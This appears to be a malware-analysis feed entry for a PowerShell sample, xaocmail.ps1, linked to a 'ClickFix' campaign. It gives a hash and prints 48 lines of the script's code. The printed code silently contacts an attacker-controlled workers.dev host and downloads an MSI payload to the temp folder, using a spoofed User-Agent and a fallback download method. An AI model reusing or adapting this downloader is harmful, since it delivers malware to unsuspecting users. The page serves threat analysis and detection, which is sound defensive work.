Hostile 99% powershell Download

xaocmail.ps1

XaocMail Worker MSI downloaderDocument unlock coupled to quiet MSI launch
SHA-25679a4cb73983a1facb5db09f1a20cec6e58d91a93044a78aa3ba32ab2190284ed

Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (XaocMail ClickFix Campaign Drops Phantom53 and HavoX Across Latin America, Asia, and Europe) +1 more.

Evidence

HTTP open call to document unblur API lines 1–48
1:5… aceholders (replaced by worker):
2# i913zh7n - link ID
3# https://securedoc.mesuttgulerr573.workers.dev - origin URL
4# 0 - 1 or 0
5# XXXX-XXXX - access code
6
7$ErrorActionPreference = 'SilentlyContinue'
8$ProgressPreference = 'SilentlyContinue'
9
10$id = 'i913zh7n'
11$base = 'https://securedoc.mesuttgulerr573.workers.dev'
12$debug = '0' -eq '1'
13
14$msiPath = "$env:temp\upd_$id.msi"
15$logDir = 'C:\ProgramData\XaocMail'
16$logPath = "$logDir\debug.log"
17
18if ($debug -and -not (Test-Path $logDir)) { New-Item -ItemType Directory -Path $logDir -Force | Out-Null }
19function L($m) { if ($debug) { Add-Content -Path $logPath -Value "[$(Get-Date -f 's')] $m" -Force } }
20
21L "=== Start ==="
22
23# Unblur
24try {
25 $x = New-Object -ComObject MSXML2.ServerXMLHTTP.6.0
26 $x.setTimeouts(5000,5000,5000,10000)
27 $x.open("GET","$base/api/unblur?id=$id",$false)
28 $x.send()
29 L "unblur: $($x.status)"
30} catch { L "unblur err: $_" }
⋯4 lines
35
36try {
37 [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
38 $wc = New-Object Net.WebClient
39 $wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
40 $wc.DownloadFile("$base/m?id=$id", $msiPath)
41 if (Test-Path $msiPath) { $ok = $true; L "downloaded: $((gi $msiPath).Length) bytes" }
42} catch { L "webclient err: $_" }
43
44if (-not $ok) {
45 try {
46 $x = New-Object -ComObject MSXML2.XMLHTTP
47 $x.open("GET","$base/m?id=$id",$false)
48 $x.send()

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.